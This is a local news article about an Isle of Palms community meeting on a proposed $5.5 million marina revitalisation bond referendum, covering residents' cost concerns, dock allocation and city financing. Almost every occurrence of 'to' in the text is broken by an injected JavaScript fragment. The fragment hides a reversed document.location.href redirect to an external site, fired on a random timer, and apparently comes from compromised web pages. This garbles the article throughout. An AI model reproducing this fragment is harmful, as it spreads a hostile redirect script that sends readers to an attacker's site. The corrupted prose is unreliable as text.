Citizens Question Value Of Marina Revitalisation Project

By Jennifer Tuohy, Island Eye News Contributing Editobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor

Residents pose questions tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to city staff at community meeting.

About a hundred Isle of Palms citizens turned out for the first hour of the community meeting on the proposed “Marina Enhancement and Community Revitalization Project,” held on Oct. 12. The question of whether tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to take on a $5.5 million bond tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to finance the project is on the ballot at the city’s Nov. 7 election this year.

“If it doesn’t end favorably it will be similar tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to what happened with the drainage [referendum]… we have had tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to save and save and save, and do things piecemeal.”
Linda Lovvorn Tucker

This was the second community meeting on the subject, the first was an informal open house at the marina, held on Sept. 27. This meeting was billed as an “informational community meeting” and tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}took place at the Recreation Center. The format of tables with informational sheets,a 3D rendering of the project and large display boards with more detail about the project, appeared designed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to encourage people tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to walk around and explore the project. However, after a short presentation the evening turned intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a question and answer session, with marina representatives, city staff and staff from the engineering and design firms involved in the project fielding questions from an audience planted firmly against the walls.

Almost universally, those who posed questions praised the “beautiful” design of the project, which, along with providing essential improvements tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the structures of the marina, will create a waterfront park, introduce a public dock and fix the problematic parking area by adding pedestrian pathways, landscaping and designated zones for different traffic. However, the majority of the questions focused on the cost of the project, including whether city monies could be better spent on issues such as drainage and beach renourishment, and what the real worth tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the residents of this investment would be.

Brian Berrigan, who owns The Marina Market and Marina Joint Ventures, the entity that manages the docks, stepped up tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to answer a number of questions regarding how the marina serves IOP residents. In response tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a question about how many docks there are and how a resident can use them, Berrigan explained that the dock space is determined on linear footage, so the size of the boats determine how many spaces there are. He said he plans tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to serve residents first, then the space will be allocated on a first come, first served basis. He explained that currently residents pay the same dockage fee as everyone else, but there is discount for island residents tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to launch from the marina ($5 year round). A yearly resident decal for $100 was temporarily halted due tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to parking issues but Berrigan assured those present that the decal would come back.

Asked why residents pay the same fee tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to rent slippage space, he said: “When we tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}took over the marina we had four tenants [in his designated dock space], so we opened it tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to everybody because island residents weren’t knocking on our door. It’s a new phenomenon tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have residents needing dockage.”

He then informed the crowd that his current tenants [small commercial entities, including Osprey Boat Charters, Barrier Island Eco Tours, Ocean Fitness and Coastal Expeditions] have been tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}told their leases will not be renewed at the end of the year. To those residents currently on the waitlist for dock space he assured that they will be given preference in the new marina set up.

IOP City Administratobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor Linda Lovvorn Tucker responded tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to questions regarding the management of the marina, including explaining that the current tenant cannot sell his business without the council’s blessing on the new tenant, and that any changes tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to rates for the marina must go through city council.

The issue of how the marina is financed came up. Tucker explained that the operations are financed through funds generated by the marina, including rents, hospitality tax and business license fees, saying the five year average income is $400,000. She explained that Accommodations Tax funds have been used tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fund the debt taken on tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to purchase the marina, as was outlined when the property was purchased in 1999. It was bought following a referendum that was overwhelmingly supported by residents tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to maintain public access tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the water, as opposed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to allowing condos tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be built on the site.

One resident asked what will happen should the referendum not pass, questioning whether there is an alternative plan for repairing the docks, which are approximately 30 years old. As landlord, the city is responsible for the docks, the underground fuel stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage tanks, the bulkheads and dredging.

If it doesn’t end favorably it will be similar tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to what happened with the drainage,” Tucker said.

Many will recall that there was a referendum on that issue that did not end favorably, so we have had tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to save and save and save, and do things piecemeal.”

Additionally, replacing the fuel tanks has already been budgeted, and will be replaced this winter along with those at the Public Works facility, at a cost of $700,000.

The referendum question will be on the ballot at the election on Tuesday, Nov. 7. For more information on the Marina Enhancement and Community Revitalization Project see the Sept. 12 article in Island Eye News (islandeyenews.com/5-5-million-marina-project-on-ballotfor-november-7-election/), and visitiop.net/marina-enhancementcommunity-revitalization-plan.

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